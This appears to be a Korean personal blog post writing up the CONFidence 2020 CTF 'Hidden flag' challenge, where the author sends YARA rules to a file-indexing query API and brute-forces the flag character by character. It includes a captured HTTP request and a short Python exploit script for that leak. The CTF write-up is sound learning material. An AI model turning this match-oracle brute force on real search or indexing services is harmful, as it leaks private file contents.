일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 |
30 | 31 |
- 이분 탐색
- BFS
- 스위핑 알고리즘
- 에라토스테네스의 체
- ROP
- heap
- OOB
- DFS
- 포맷스트링버그
- syscall
- RTL
- House of Orange
- 문자열 처리
- 수학
- 완전 탐색
- 이진트리
- 다이나믹 프로그래밍
- 브루트 포스
- 투 포인터
- off by one
- 연결리스트
- 큐
- 백트래킹
- 분할 정복
- 스택
- fsb
- tcache
- BOF
- 동적 계획법
- 이진 탐색
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
CONFidence 2020 CTF - Hidden flag 본문
일단 처음 페이지에 들어가면 Query와 Parse 버튼이 있고, 아래 입력할 수 있는 창이 존재한다.
이것이 무엇인지 잘 몰라서 일단 아무거나 입력하고 보내니까 Error occurred가 뜨면서 Yara rule .. 뭐시기가 뜨더라.
그래서 Yara rule에 대해 검색을 하다가
https://github.com/plyara/plyara
plyara/plyara
Parse YARA rules and operate over them more easily. - plyara/plyara
github.com
이 사이트에서 다음과 같은 Yara rule을 찾게 되었다.
rule silent_banker : banker
{
meta:
description = "This is just an example"
thread_level = 3
in_the_wild = true
strings:
$a = {6A 40 68 00 30 00 00 6A 14 8D 91}
$b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}
$c = "UVODFRYSIHLNWPEJXQZAKCBGMT"
condition:
$a or $b or $c
}
이것저것 만지다가 대충 사용법만 감으로 눈치채고 $a에 대충 flag 헤더만 넣어서 돌렸는데 다음과 같이 뜨더라..
안타깝게도 다운로드는 Unauthorised가 뜨면서 안됐고..
파이썬으로 코드를 짜서 p4{ 뒤에 있는 문자열을 하나씩 브루트포싱하는 방법을 선택했다.
코드로 request를 보내기 위해서 일단
어떤 방식으로 패킷이 보내지는지 확인하기 위해 burp suite로 보내지는 패킷을 잡아봤고
POST /api/query/high HTTP/1.1
Host: hidden.zajebistyc.tf
{"raw_yara":"rule silent_banker : banker
{
meta:
description = \"This is just an example\"
thread_level = 3
in_the_wild = true
strings:
$a = \"flag\"
condition:
$a
}","method":"query"}
다음과 같이 json 형식으로 hidden.zajebistyc.tf/api/query/high 에 request를 날리는 것을 볼 수 있다.
그리고나서 돌아오는 패킷을 잡을 때 /api/matches/["query_hash"]?offset=0&limit=50에 json 형식으로 response가 온다.
따라서 response json을 잡아서 /opt/bin/getflag가 json에 있는지 확인하며 flag를 하나씩 맞춰가면 된다.
근데 여기서 query_hash를 처음에 어떻게 구하는지 몰라서 라업을 참고로 했다.
https://www.megabeets.net/confidence-teaser-ctf-hidden-flag/
CONFidence Teaser CTF - Hidden Flag – Megabeets
During CONFidence Teaser CTF, one specific task caught my interest. Not because it was hard or complicated – it wasn’t, but because the concept behind it was interesting and relevant to my day-to-day work as a malware researcher. In this short article, I w
www.megabeets.net
[ 질문 ] json의 method를 query로 보내서 post request의 리턴 값이 query_hash가 나오는건가??
아직 세부적인 부분은 모르겠지만 그래도 request 패킷 보내면서 브루트포싱하는건 처음이라 재밌었다.
exploit code
from pwn import *
import string
import requests
def send(query):
res = requests.post(URL, json={"method": "query", "raw_yara": query})
# print res.json()
query_hash = res.json()["query_hash"]
res = requests.get(Response.format(query_hash))
return res
charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + '!@#$%^&*()-_+=<>}'
URL = "http://hidden.zajebistyc.tf/api/query/high"
Response = "http://hidden.zajebistyc.tf/api/matches/{}?offset=0&limit=50"
query = """rule silent_banker : banker{{
meta:
description = "This is just an example"
thread_level = 3
in_the_wild = true
strings:
$a = "{}"
condition:
$a
}}
"""
flag = "p4{"
while True:
log.info(flag)
for c in charset:
res = send(query.format(flag+c))
if len(res.json()["matches"]) > 0:
flag += c
break
if c == "}":
break
log.info(flag)
FLAG : p4{ind3x1ng-l3ak5}
'write-up > CTF 라업보고 정리하는 곳(?)' 카테고리의 다른 글
[Reversing] Defenit 2020 - momsTouch (0) | 2020.06.15 |
---|